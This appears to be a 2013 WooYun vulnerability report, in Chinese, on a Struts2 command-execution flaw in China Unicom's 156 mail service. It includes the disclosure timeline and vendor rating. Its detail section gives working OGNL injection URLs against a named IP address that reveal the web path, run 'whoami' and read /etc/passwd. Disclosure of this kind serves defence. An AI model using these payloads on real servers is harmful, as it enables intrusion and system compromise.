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缺陷编号:wooyun-2013-031647

漏洞标题:中国联通156邮箱struts2命令执行

相关厂商:中国联通

漏洞作者: 无人知晓

提交时间:2013-07-21 19:06

修复时间:2013-09-04 19:07

公开时间:2013-09-04 19:07

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2013-07-21: 细节已通知厂商并且等待厂商处理中
2013-07-25: 厂商已经确认,细节仅向厂商公开
2013-08-04: 细节向核心白帽子及相关领域专家公开
2013-08-14: 细节向普通白帽子公开
2013-08-24: 细节向实习白帽子公开
2013-09-04: 细节向公众公开

简要描述:

中国联通156邮箱struts2命令执行,root权限,可获取webshell

详细说明:

地址:http://210.51.167.163:8080/auth/step1.action
exp:
爆网站路径
http://210.51.167.163:8080/auth/step1.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
whoami
http://210.51.167.163:8080/auth/step1.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
cat /etc/passwd
http://210.51.167.163:8080/auth/step1.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

漏洞证明:

whoami

2.JPG


爆网站路径

1.JPG


cat /etc/passwd

3.JPG

修复方案:

null

版权声明:转载请注明来源 无人知晓@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2013-07-25 22:33

厂商回复:

最新状态:

暂无


漏洞评价:

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